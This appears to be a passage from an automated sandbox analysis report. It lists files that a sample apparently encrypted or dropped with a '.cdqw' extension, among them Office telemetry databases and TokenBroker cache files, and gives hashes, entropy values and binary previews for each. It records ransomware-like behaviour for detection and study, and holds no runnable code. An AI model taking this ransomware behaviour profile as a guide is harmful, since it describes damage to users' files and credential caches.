Preview:	<Rule,...@..g..H.......>...+......6..W....d. .~9.aM$N(.d.fS..Ox...e.....W@..l,..j....L...t{....K9.JO...}X.<P'....U.D...).]5z.%E.p.!.I.)1..p..]s.5.I.(...$.+P...!..~.d.i..o...km....s...a.C<...=...N..3S.Djm......E...Z..2.j@#..........a.......7=......Y....G.s9q..b.v...3...V.qf..3y:]...zL..@.L.V..RxA.^d.....3.....{..K..e.$:.N2.,..}L..WM.akO.ZgY...I.$......NH...N.....0..ne>...<..3`...&....7...(.}.f.9.Q."...t...fq.T...7.."......E.}.ih.C..S1...).....P_#.......\~.{....98....u:%G.\..0.CDY....s..P.w....5'h....&..k...].{3q.aO...J....{..3.Ng...v.5-2......{=...U.i.I...e.>R...b1...Y...Y..e."..KL+...mrD....G.Fr.M.9?]..9....z..e\|4.je.p...OvcK.U.a..........w.;.o..c9J.s.Q..6V....v..%w..8z..6...i. ...(........Bo...}.T.....D.mA\|...Y:n.. '.:c.J..Q.....R'..;w8.>....W.rKw....,....f..#8'..6..CT..P_..^j6.T...S.0...?.\|..8'-b2..w$.P.I..>.QB..I..bD..4&.).==W..G......(....-...8..U^8H_..e2P4Q.B.Z...I........)..k..T.....V*#.~)...]...\.R.'.....w.@K7..9...=8.m.m.I....

C:\Users\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.5141153959950255
Encrypted:	false
SSDEEP:	3072:A02/0lJyTEPipGAilX0TGAETYLA+9IgYdoV897/y9wkx3:xTl8bEhTgYmVo6ykZ
MD5:	9FAA6860DF32F6EDE47442A6177DC31E
SHA1:	716992DE9C796CD0F2B32E3C6628BE42AB5C108C
SHA-256:	C312D8D98F86B5B5AB651EAEF49DDAFAA675BAB4505613B281BBD0C5ACB3D845
SHA-512:	D5938AEDC3F350E417C1319DF69EA7D0A81BFEF0B752C12858A5D51EE466A119566A531ADF3701E89C594720BC54FDA9AF1B918CE5BA0F1B955BC3ECDD30A03C
Malicious:	false
Preview:	<Rulem.......e...sm...l...E...C2$..P.).&V:.e..Y./'i....U....F.d5..c.....;.n.]....e9E.[...g..-.._A.........6.n.ZJ!D...."..X.....G....G[..;..z.L...F......3..........X.^....6.z...~.am.}....W.\..~..2..s..Qq...s..._.d..6.0M.......D.0...v.A1...#.........l..".O.6.$..c.J..z..T..31...c..q...xA.(..........D......<....%......n;.7YB.Fe..M..i.K........{.Ig\b.....".[.=q.....M.g.[L.kK..Y....u..{..R.g.J.....J....y.y`....8._......k..b.S5.{.>a.z.S.y.H6f..^.R..sk..r.......@2...#...1..h.............g....JA...._.c....y0..G.o.....\|...]....<.-.Te...~...t..z......).b.f.....2...ub..'.E..!..-"...g....$...m+Z;Ly.W2..$.n...4_M.+.;E.V.S6.....\...,zi.C.E[.[...)0....h..t..H.H..)b@.".N..q....<I.R...y../...O......d....\.r:I......-Y.ui.$.D.k.-u..z.`.j...g..7..rq:....~e2.n.1.....$..[....I^..Q....b.29h......h...s....@...E$..m&.........C...ni.qa.....e..P....;....v,.q...1....g......)*..}.iw..A..A.N....PT..W.7.j..=...........1.+..A..0.jN\|..C.I.8.2...S...[;.Vk.)V...

C:\Users\user\Local Settings\Microsoft\Office\Features\1-7FeatureCache.txt.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	7.802490892736232
Encrypted:	false
SSDEEP:	24:eaj/RLoGo+gZBOrTFJUr5G4YGYjZbnqRna91tUA5UBja+f82bD:eU/+G2BOfTUrnJwkna1tUA5yF3D
MD5:	57B45F9AB4141345880D4BBD2AF7037C
SHA1:	984B023872C01061FFC58F4F558DFC31739910A8
SHA-256:	36EBAD5BBE6730939009A2AA7630C6DBBD4156052E07E87842FFAD3484CFD3D4
SHA-512:	35B981671C05F6A0094FC153306935278702E55E7202D9CD978AB020A7A33BD85ED9EA4B68DD466F0312B43E5AE7631B72A159E52720E6642DEEA4F94BF5C551
Malicious:	false
Preview:	3.7.4li[..:..Yh.....,.I..%q.{.....Y....@.d.[..N.d2Na...}.uy.).\.U...T...Tus...{.._..)......X.=>.....&n9...D...s....)9,..OA..w.L.BU..H...!G..jPs.P.bO.........P...$....Eq.>...@.~1f...JD..........A...h.T...2..;.L..E.W.......&xN..3G.....N<....A.aA.{.`d..> ...n.....z.`.\|.....b.\|o...b.g...7...../..:b.L2.\|..b.>...`.b........M...6O~.(1.TU.1...v...`w......7&f..u.@h..B.SZ7..P.:.`...).e6.{4.......YS..b..$......0.}.n.d.....9V.~.k.`\W.j]w.2..[.#l...#f!o.+.....`.B..L....(!..T..H.....is...tF....I....Y.6.S.JC....=.c$.A.5.....<.ay]W:..z\K.:.(..g..Y.]........i L..K...b[.U.i.....X?.&......!.)..s#..L......y.4_~.t{~.j..b.H...S../0.%....<L...U...ZQ..C.-`y...n.7..P.v....sJ......n. 6C.e.t....G6......v.W.'.....D./.C.H.sRt.M......V....5..F....')7...t..&....q..h...-lVAZd.xF...;]....."..l.j..-...T...0..v.\|..X1\|........)]U...9E.Ni...Q..[]..P7B.`~N..cM..Il.k...L$B..o..R..-.7..4G.U..N.._..;.L.?.S..3.w..3.F.X1 `...G]..P.V8.)I.H...a.`.e...'V.._O.j.'.L..i.

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.991985114967306
Encrypted:	true
SSDEEP:	384:RbuVUMIq0/URn8UMEvzy8t8JUIXt+2XicXz6tAz/Qo5+JQWdvle2QR0lnFbcwbXe:1kUy0ct8kOXJUmLdzLQ1JQIBQslb10px
MD5:	C83CD36E404B676FCA2DCD846649A620
SHA1:	AE92F9CA9A9C508F1355534508A0382E2F4F8BFD
SHA-256:	F2F46E940655EF49EA5B1F8C6D633C20BA696F0AC5641A4F14B564861AEB39EA
SHA-512:	06114DCE6AB12AE53E42A7C31466C5776B5B83B9649F98225591A7A92B53D7B849C63E3E2C46C484DDF7523B0563157529C7A2110451D6DE17CCF7D9F2A4D9BA
Malicious:	true
Preview:	SQLit.!..B.jO\|.Z,....v...X....>...?G=s.GP..D..]..^..i..%.M..lU...."...C v.h.ev.z...Y@...E^.&]6.n...d.dIB.sn.Q............V'@.5...q...o,\|..d...e.e..Ss....M.w/........AZ.1j8......z...q.W....t..+..2.T....!.`..Q$ua.."..4.s.......F.x.f.4..y..+]..q.K.}b.k[w.......Sr.^........H.x.H....r&..\|.....<..w.......'J..g.X1f#,....C+..Q~m.D...F...nJb..t..OZ....N`.B....+m4`....n....e...!.;.f...;...........A.t.?.n......._E.. .)!T...+>G.....{..c.o..@..A....0fW.....t..).....m.W..Y.2.......X.\|./"AxkK.".k...K.?...'.~.h.5 ........2.7..lQm.9..>.Q..[.nu.v.....%.Z...E.i?s......Rq...e...-H.\|Fi.@.Ox..H...6ET.=..`O...M.P..3..&.3@.(<$.0...'.. ...@F..s...jw.....,..y<..\0^c...G)d.;X..&.-.{..\|.E@P...>N.A...6.+!~.(.v.Mfn.r.mP.+..m...!..h..sR.t...Y.......v.!....o.2..PN...`.\|...J../A]W...^.......{`..1....}*..T...U..:l?..9...s<4Z.{".G\|.,......k...x:...'<.>....6Q....D....\...T.....E...Z......S......P......F.....+..+G..w.I..]\|.X...Y..X....&..o.e..+b].[D...O.W?..;..iq_..

C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993319568873818
Encrypted:	true
SSDEEP:	768:e+Z/bdUJ+ZH1exikMoKeq6MFzW+sojEQU:hZ/LR1eskMotq6MFzW+sUEP
MD5:	C1C9897DDFB8EC1B8B5AE57D51ADDF27
SHA1:	B27D4A1B3B28FF2EDD781D5D380DCF430DC1639C
SHA-256:	AE0CC2C2FAF7BCE7C90E4EB21A420C5AAB3D27659710F8EE3830F13AE428F633
SHA-512:	423DE80CBD4343BD100582F907E59E4E48AE27BE556280063DCD499C4CAEBEC9066B6520D264F677FE30285D4231D84FA365F6293FDB5206884F6262DA360608
Malicious:	true
Preview:	SQLit.X.Q..{...=..f.....f.:..d.GE... .......p..p..vM.P1<..)rB.g..B0U".{..U..#r.R...AM.d.6....<.....w......>..[m..2k3..9....Y,.N..<M.i.F..V.....O.;g.!....+.N.4@.?q..Q......8\.;2.2...V.x.?'.6k.....z^.........]lW;..P...7..?..'J..[.kXQ.:Bp.~..".BK.?..rR..&$n+E.;.&..a].X. E....n..MhT...HM.3;....k...L.S.g.x.q.I.'.p.p..WC+h....e..e......\|.@..@#j....![P......&........z%...5..j.g..-.....41..;.C.fv.3E_...)?.......g..K........`..}!.8.......!..x.T.A......L#.(.E.o..J..[.zU}.Qa.r.Js.9._q.tS.$/..zx.u.2g.E..p%....?Z...T.I....fE.t....8-`.....R<.gD.]..Y..X...Z.F.^#..'f...7='e..r...S..[..........a...P...:d;(...A.F?-............P..I.....-....4..V.......@.v..t.X1.;.....!.s.c.&...W7.94....#[.d.......M'O..@.U.m..MR4./.`y34b.VnM..].....O...o..FR.2].W.;.T..Q.8.sH..5&.;......m.Y..{:a....GCd.q.W...1.I8.&GB.O..qx.........0=......Dv.W\|..b-^J..L.Q..w.A..fd...p.@.3.H.....J..\~....j.-.z...f..N.H.q.;9....'.......l#oA...q5._^;u......h...Q0....p..;.j..O.iC..............

C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992556072507525
Encrypted:	true
SSDEEP:	768:f/wAJw/4gYoYSqATbAjTXmfxojR7c7vGdepT:n4ddTLfylYzGI5
MD5:	E88578365224EE328DBC3306EA3AB0D0
SHA1:	B72B19667E4AF5EABA65B83DA1DB486EDEED48C4
SHA-256:	F64B65D0EAD531230B6ABBE50706B12898B16B33845E50A24B68305B1920CD41
SHA-512:	962DA302FDA68949600605C092805D2FA5DCC02D620ED57CDB2A86FD063F20C759DA96E15CE45416F01EC20638D3399826E676200A77062ADF9C9AB3588899F5
Malicious:	true
Preview:	SQLit.b......".:@...e....!....X...+.J.....\.w6.!F.(."...yl.a...,n....\|.....E .:.~.pf../.?-{.z.M..n..E.S.+.".e...Hz.......Q..y$.5t;....[..Ui7.../....5...b\.J...z.....4...e.....3.H&.....#....Oc..5....M.M<.V1{`=.?.e...%.l....../vT.....9.....q....qU_4.\|..../....}@'.B...Q.T..v....7......%2.=..n..{T..).O...D..!.D...$H0`d!.\|.&..8..\.%.[.9..v.I..H...J8..o`.r........./.-.........S..Y.BQ.....l....-...D..._+.hMCd...~^...V.L6\|.....1M.&.....#..d.W.LB..x...k...)".Q.T...C..Q...yh.....;.DG..@.Z6. ]D.......y./f..mh.T.........\|.j.Ugo\|..:$...Zi.o.I^~13..k..Z...q5>.l.%.9...p.........R...........1Y...7.r".u.......s.:ik.......0.,..W..Jn.X....mi#6vCC..{.-us...)%.nTjCC6.M9.?...p..3.....<.....&..6IH.M.r.......\\|8.Ar{.Y....Xy..._...Fk....!."\|.eL~....W..au......I..oo....O.U.S.<..9.S..](.N.>].;h&...G]..d..H...nn.x3......-<"...h........1.2......:.._...'B.t.M.{Z.\o`.sc..N:O)v...!.$I..i..krb.R].T...z.%..}M...y8PkiR..dq...UP.b...\.".......q.`4.!c...fo'.

C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992161601566699
Encrypted:	true
SSDEEP:	768:k7x4+GID7k8vWo89mgg1NOE1p7PG/wl37:4VtZMg1NxvLflL
MD5:	4EBFDD4919BF9372E51223BC2EF67717
SHA1:	3C8B6BF0A4E66884143DC0A9B6230093F25D86E9
SHA-256:	E3A8E8BC11320DCE27606BF1AEDFDA81597D02E30D9F7D9F2D2F674BE3A031A9
SHA-512:	F5E2C2CD455850BD21054494F29515FEAD069E57C979F171493D49BCBD2767BF239265552721CB9F4AE808FC6377B1E96BFB5F69C9D4390D16B3FEB7A37BDD47
Malicious:	true
Preview:	SQLit...fVp......(x .......A.=?.P.f.....A.WF.?..HW.1....+......n\..J...i....@..w^...<l..P...C......._.XY$).......X\.[..m;.x h.?.G@o.A..9..~..>./^...#d+....=.k..Q..S..a..\.D..z.H.....~..3..M..n4.&...o......f'.\|.HN.(..)...]..G.......Wm.p....)..^.....k..M"...........7rVN.%.....(.....`!..f.T...H3.-.60.J....%.....Q..P.$s!..\,r[s...Z.a.]nk.^.._xX..U...}..d?i.C........-!~t.._Nsf5#j:....n..RrKV6......=..2I2...0.~."K..../71...Q.wU69./..5...J...6....%. ....uh'6.d...SN2......2.9D.p......d.k..G.......`..B.'.aP.B3......v.....S.....l:.@p...KuM.K\....~.I.=..(p`Z.....;.uo................Yo.7../.......A.=...D..G..t...J..$....Q.l.......'..s...FgC.4.9u .....k....6ma..hG;.'.....R....y..[......H.Y>..4..ZD.vHRG......2.b..(.<y......:Pn....u.H...sj".......}..!.v1]'0..........2.7..z.+...\....a..U....2%.0x.l....~i..GF.....!&.....G...A.Z.^.h.a............9......_C..P....7..=M....F.Q..r_..-.B...e..o.....=..A.Z..U....SC..t...Q..[WB.....K.$....'C.....

C:\Users\user\Local Settings\Microsoft\PenWorkspace\DiscoverCacheData.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1356
Entropy (8bit):	7.844489088648269
Encrypted:	false
SSDEEP:	24:YuDpPQ6vV6qmEYZnSrBh0hkQsW5epX4toz7z5UR5WCY/ZN3eVLoIwtFC2/y1Atn3:YuDpPQ6vEnZnSrBA1sWApX1z7z5aTY/l
MD5:	28A13F45FAE85FF24DD4AE3223A2AA79
SHA1:	640BE22FFED27E9032C20129E96729AAD9C57EE9
SHA-256:	1FB8001045C72D98DF1488E91CB662E0028DEA71E6BB6968A119CCA495E2DFCF
SHA-512:	0D0FA1F77F89875901B86E98C5A211ED9B5C49F3FD1141F15B7728B46626546C99E3A45810761D01B164E16D2C57EB6A12ACFA9623799DBA3958C2912498229F
Malicious:	false
Preview:	{"RecOd....kE4...6z'1ZzC.Net.U...e.&L..C.<kZ...K.]#1E.>X3..6.2...1.."Q.....y.."......I.HymXp...u1kwO.yM.G5...u......O6~/;.}..lF..$G..s..9S.:)......[.6Ph..&YI.#.(....JR.'...6h...q..'..3S.P...T.6......H..].].O.8...\S..#.6X....G.w.--u...'_0...rom.h.j.PM..O(.Q0..mq....i....Kd..d..G8...0Y...d[=Z...HU....<..\......{.V..z./,t....g%.#..._.....x....vb...&...Y.Yu.F....R..+.kW.A.$........l......Q&..+..q.;....j.7<.d....:.T0_.mo....}.."`...hl..y..oCN..H..@....#.z.....d.j..u...9........vI}4D.&.K....lDc..}v4....z.3.s....=...v"e......+..U.<.^..!....D..\... ...d..M..=...'..i...Is.....&.6FG...c)...>:....i+...p..I....'..J..h....%.+BN...v.Y({...l........+:..&w....1.........'1....}..=.~5.MkN.>J8.lVq....D4(..~......^..%6.....Qc.P...............7....;G../t>.'.J{..e.........nw.:....k./.V..x...-=...X\F...T..w..k.......1.<3yx@[8%../..~.....5gG.pP...}z;.`C.._.OIA....mX..f.."x?..=...E.....$hlsmV\.b....l..%...H.......t.u.."]....0^...M!.J..v...Z.=]..u*...."...,.O1.....I.

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.929544743596945
Encrypted:	false
SSDEEP:	48:ykLo0dGBO+wQUQQBMPpzu9qmVVUmnSxpflqMj1YCuwoXsDkhK3JroHOo7ELD:DxnQQBMRS9DJ4lqMjiwoK+HUn
MD5:	FC9109ACD1AC47294611C7E2576AA496
SHA1:	F6201E2A12CC3CFD63D50D3AA530BEC71ED94957
SHA-256:	99063F9CF2F9BD1E270E3B322A7FDD68C2E99B432509A735B32CFB76AF1F0F4B
SHA-512:	23D7C61838D542606805FF21B0E461B67B30A2F7717878BD4A801598D1EA6CFD365E6724BC8A071CC094E79655958E2ABC17AC135B5F4D4E04D237EDF199ACB8
Malicious:	false
Preview:	{.".T.n.L...F.....Q.vN..yyf.Wb..\....ST......W...X^.Ek:/..H.......n\|7..6.<I.'...%f.8.....VXx.,.gF..$....IU...=Z%...S;Y....i.......V...D...`7f.Y.8.#.>S..D..ck..\L......fd..%B.#G.......e....po.rA..M......_9.I.vE..&.v..E....5)KY5.)..`..v-....v.p...:.`6.E.w..C...W.1.........m4.$.+.S..U\|-.8\...0..b.%...]..U.%..S.R....q]....M!....)...8.....y....r...h.....e.S....n?{{.....f...Y...S`.y.EoqGkR~...#..>.....RW.#9..5CtI~.!.q;.......GH..(....\.t..}....v..k.K..^..c .......H....gp.p..:@.Gi.H#%J..Q.t.!..R......2l.tlv..!....045...j.N....jV..9Q`+...<.."*.......p...Tn..<.u.d>.tz}.I'.N.o........5..8)......H.f.{.........%.....y.X..:`.....1.p.:....V....."...B-...........(..\|.._.7....?i_..:.XU..<.i.x:.....;Q-v..:G..<.vC....F.o...w.......`}._..%...?...._3V....Q.ta.........1.....a..o'G....x.YzZ ..uiA....... ...%.....:-g.......O..U..I..j..m.hf....SK..?(...#....b,.5..9Ayy!.].V..........%.F..D..G\|.u....[..3;....>..........Y.-......mB.....J......w1#.=..

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.926879043271196
Encrypted:	false
SSDEEP:	48:NtDBfjLVHm6Fn3AS2Md+qFiMBX36XPXi7g+gokRWwIwfkKhweJJOtlgID:rpJGWk02Py7gQkRVfNSgMtKU
MD5:	E08D88545F4415B32E49012113208714
SHA1:	FAAD863B292530BC304B8D611302BE30697B0D63
SHA-256:	058F8F45520F2E00BF7AA0CD9BCA8A9E0676CC6F2E1A635E94DD0A0A68A7370C
SHA-512:	22865F36B58745080D7484DCD9F6E32473F7EE87B6F1989BE5201D52F6214563FB94CC8E08BA81F47E107496A41DCCD90F60F1A20D6079EA580E5F4A394FB94C
Malicious:	false
Preview:	{.".T.......b.....S^G..5B8...[....OC{v.......0.H/y.....}.,..Y.$.2...)...$...3.3..C..4......K..H..Jc+5.T0x..l<p..1.\h....".....P....+,........}.._.a0.<.....[=...;..e. ....{.I..n..1..9Al.x.)mh...}w..l.f.['.m.....'q..4K....Y..v.8.............5.)v.,.@..P.G4d.o.m\|...j..:...3..."....^.<..k.`Y.?.....u50.lO...o.l..7P..-.TJ.H..6.zO..k.......s.?..._..7...a.......P..../T........I....Es.....~.u.._..,7..vHz.....=.....'..ZU......Y....1.....Y-V.g..W.........f.=.=.K2.Y......I.............?.......;d....I ...)$.."a......Jh..z6..t..-..6w....z>......x....%~... .. $...I!+....9...w.N.P..2..G.Y.Oh.)..,j....J.b...e......Z..D.........[......s3!0k..K$S2^.T.6...B.XQ<.w.}.; .Q....6..0.m...,K...TU..z*8.e8...ts../K>....MA.e....................#0.#z.U.."..cx..vBUnc;.Z.....\l..x.....xe.Z..KPh.....5.P.i`..F^.5..=..6I.\......}..Y...V.z...G. ...\|.e.d....q....p....k..5u=..9uX.h!;..xT>...@........)......(~.P.......l..yBo..V...J.z...U/l1C[4..7...p....>..

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.936266637575964
Encrypted:	false
SSDEEP:	48:8oXqiWXPjzZU+s/fixPWobYqCJ58/hEG4ibWsRE4WT4M7GeKeySu90O/vf57YagS:8oXGdrsSWobqopZ4ibWiWkM7Ge09f3ft
MD5:	AC0AE2CE88DB88D76F820623EE3EB5DF
SHA1:	FFB80A67500E7AA634C8EFCB431E64210851C895
SHA-256:	07268C6E70217DE5F597303CD392752AA7AB3BC36FC29D6FB080FF6B5FC6D4E7
SHA-512:	985D7B686EB0E624E8D03CB9FCF7873F90474F0B0D27A55E2B781A26C50B88F6236BE2060A816AC9D716847AA7C78D338858F5B003384A2E9E7B9884E31751FD
Malicious:	false
Preview:	{.".T.]8.E...)x).!Z..Ce.A.I=X.......[n..V{v...l.+SLa.C..k]...Ub7`....w..........n}VW1...5....0.........V.z..K...u..>...\|...,.%..b.B.Z..6J.#WM..D..).U..L.b..4...zG./.....=h.\|...e.<;......3^.Yd4...l.}..........0L.H.v.s..WNM..q.o.....P......y./?<.8..:.y......g.Y.`ypq['A..g..2$.`!<\..\|F!..b..A.U\|yh....C.Q\fZ.0W{ik..l.]......).B..u....?....-...pp.3.....4.Y)W....-N.xk..i._F...........9F7.P..h.,.S+..j...).....N..........;Y.LB....g..q C&,..?.S-..K.&!...4..u...Cwz+...DI.`....PN........[.>..h...im......w5......t-...Y.......T.Q..w...`.v8.4.X..\&e.h.>D..'.....TaM.m!:.... E.8z.c......M..7QRZ......j...MK.Mu. .S....k(sv.&'3).@R..;.Td...`of..#.t..1pd.P...^.W.2_H...A"jN.......{_..w...W^=..q0z.Z...a....o...jD..r.\fHY.HS...D..H.........i.stCs....ch......Q.B.n...7..\....\|"...5o.......p/l.Q./&4..:./..##...._0z.L...E.....!_..4........k...-!...t@...FV^.N2. i..e.H.%.5.nv...X9L..p.....uh.&.J#z(K..H).e........`..y...^c......@......5.d>]...6..5rd.....[......

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.928469205668181
Encrypted:	false
SSDEEP:	48:qggtSwh4EsS82NAvfBxtu/Mr0Gu7xhXu5kJRtKcrkQPq3Szxo/wtzmLRnSttkJo2:rU4Esn2NwpxtuUr0X+2JRocrBC3SYwtY
MD5:	99D2DE7F2B2131118C98470F63850F0D
SHA1:	7BCCA35A818CD82A616CF350BDC93D0A777A250E
SHA-256:	595A0C8B0E516730C05C80372EB01937058EB1EC92D2C5F9B7DD65C60758596A
SHA-512:	719572E10172DA2ACA4DC4D6A37B06B0F01FB0467B3E5133EBEF197323424B7517CA41EFFF8F1BDF90B960C5593285C9C1217B899B0715970C89DDE555F7FBBB
Malicious:	false
Preview:	{.".T.p.G.dx..D....'\.$............sv..wR.....g....5.5.}.+=..)."._4....f..._...'.>S...w.;(...2O=GcBd2.vX6...U .q1.Z;....\|....U....jY"<\.+..,.!L.M.R....K.....[.K.B-...D..;4.C....GG..y..^%..=.r.r......j..m%..\ns.$:.~...o....A.w..n..* .E....m..t...\|.....<tYqgT......$V.U....e4.]4....P4..l..N# _...P.f.4...4....b.7!k...4/...1.Z..?c{6R......"N.d+:U..........L......v0{..^.....0.....:..S]..]9.*7.(..r......x.%.\..\.Z.9[.....D.fn&.%$3=).&.tq-.n....X..x.%6..[...S.L.-...U}.xYK..U...N~.RY$..z.....o.WZo.M."......}X(~.v:^...@Y0u.W.Y...%"q..j..~..F..c?.H...G..o.D.O.'.>b.t..!.h.b...\......)(..,..N...e..A..O.....v.k.AE...8...N..`.^`X..`g..q...:.zoU##y>'D.{..!.r..T..=c.;.{>.;......{b ...T.@..',be.............#...D.....l...G..I....s1.~8Vm".5Hw.b.+..)o8. Z.....7H.v..E3..........Z...!..".N.n....[.`...2`...F&.H...66...@..f..U.Cv.# ......A.%!.hd.pP...f{.m....h"..[.n+.a'@\.-..Er.Hw.b..w.X....vb.z......M....^..N..N...7.?{{.;.z..'%..+.......(T...IV.....th.N........}.

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	7.9630539237864
Encrypted:	false
SSDEEP:	96:YbocbSHdPRmcFqAmqVejtaejjBgsBUMxmQnBTdZKFuOSsD5/Me+d:YhGfFiYUtaM562BTH57e+d
MD5:	788E6AC0BE3A72F5E2C37D3E5662079B
SHA1:	58C8D9FCD67308F8C7D6ADC8742C7D4F7DF58C7E
SHA-256:	1DF81CF734E92F80880E2EFDA9A04FE74BEDC05F21118F2A8227A7AE6F973E9C
SHA-512:	6F16C24B4048E513E1B25173293D4A43FEB5DC77C2910F424C1F0B204996D4608BAC58EBEC2E7BD9944897D5D89625027EC3E705E37E95844F2D21F0146C851F
Malicious:	false
Preview:	{.".T3....Z..'eg.y..f.d_...=.^.B..;.n.w.....2..e......E.......a.q......s........7J..T.F ...3.....C._....(.k?.,.(ibiLMB.,"WT.>."RO.......`.X........-\{\.......H.e....h..6..s..t.......d......Z.MU....-.fGQ`....].<..[X.[7.vPO)..m.9..N.........K.,......e.........+]..A..Y.9..x.`V.....pU...-e20bI...F.y.....Z...l...o..l\|...I......I.x^@...E.9.`.7..\|Vt.0....,P....!...9....5`.p./QC3..X.O.~...k......gwK.`.].b6.g.....7N/....q.&\|...~........T..VE../2.....A....+.....eh.K$'E.L0..N...$.....sN...U..nc;\..vs[).Q......K.......C...\|H.C..nsg.....}...:C..;.Xm%..IO;.c...Da.D..2...@F...#..!.I....g..[.V...c.@w}h...N..(...).t^.h..}..YWY.......X.bs.....VB...i.l.xP.)%...!JJ-..13wr..+.lx../.N.sf.x.R.Q=4{,o:..Nf..Q.+...$.w.....`J~..^.NJ!dF..G....)3#...U.....08....~._?.Q.Be......> ..d.....:.../{.L,y.5?......k.H_.j$..1...3...{...E.w.-..a..{<.JP.....N...j;..R.^....(..c...*.q=..."....C.........~e...<........[1...nB+..;.+.........nR.....<,.....?....u..j....%.}

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.941446871122991
Encrypted:	false
SSDEEP:	48:WR+vNLC4wC4F08+HnDzMEyI8FVlb+55RkitmX71O8kuaMzw4PWk/IKl1CDuD:WROsF08MDgEyVBO5RkiI3aMzvX/nlQW
MD5:	802C9FB70E004CEFCB40F54E521C772E
SHA1:	51DDC9A3247CDC8E1C86D30205DA4C6A0D71427C
SHA-256:	02DC1DB4D7CA7E0466945D1C36BC8F468E5C974F5C320C19E75F6EFFCD904043
SHA-512:	6B136FFB30A6D1C476BB288C8614885241F0261E07A3D3ECD5F60BC71E26D4A88657A1F2CB18679EB939D8574089722F1E1D9699AD2683BD2BE2386B28EB9D70
Malicious:	false
Preview:	{.".T...5..9$..@5]......LD;=.3..V..[_..b..1m=....Z.F...Gu.J...>...(hP..\ry9~......./e.%..5..V/.&........^.^.1...(...TX.[]1..:....5.1.._.kE.:..H..p........}....c..#{.JG....G.".Q.V.U1m...9.....y..)..r3%.......w..ke.d.u..'..c.....b2A.aR......3.$..:..I=.M......'.kir..;.j7.......NY.9.5.;..w.1=..p.y..B.Y.....%.......h2..\.8.........E....)K.+d~..!..1As4..N.....8y.o..,...V...b...y../.v.Y...z`)....cbm.....kHl..I..}..3.5..e......~.....:.kQZ4..N.}.l.>.o.r..??.J..~......z..(A9^.:..z...yY.S.J.5%N\..... .0.. <....1k...s....3...u.V..%,]c..).Y...a..Z.....Z.'.....}...U.....Z.Ag."D]:.d0PE-.A...?.q+m.q....i._>@..2F..E\|nPw.(-D..(.......y...4.h.`.C`9.]......h.BPfc.q.)h#.7]....."D.....Axi.U...\H.....t~E...L.LG..K..^D......P..9......-\Ksy.....6.o.".....1.eWQ0..C"...=.3..n..B.r.]\|._A..n.xj.c..r4..E..e.....u.u.#.%l_:.C...g......F..-./.#l....Q.kjf/..i).j. y.;.f...+=..W.......:........'...J...H..f....+..dxa$.G..`S.....G..........}.v...mS(.c.4{j,......r..7xc..z...~[

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.914595657402149
Encrypted:	false
SSDEEP:	48:7PX1LfUlSly9gZGFRCTyf11GreIPewjWEhvd2WDHRv96rOvXtD:NZMFN1yewSE9fFlpl
MD5:	BD91C34DD9D4F90BD890BBA91D1A385E
SHA1:	1CCD0CF4454E86383EF24B52E5CB55314A3A9E4E
SHA-256:	3B70E2056E50FA1D12125B96991F79F13AAE16EB75E3A57268B4DDB64B189A01
SHA-512:	FA30FE07A4AD0201D90150D76AAF68EFC3D4DFB1C64B9539DAE8165C1AE43DD68A19057A8E3EAA4906A230B0FA6564A69E5F7F84C095A8124F7C239EBAFA182B
Malicious:	false
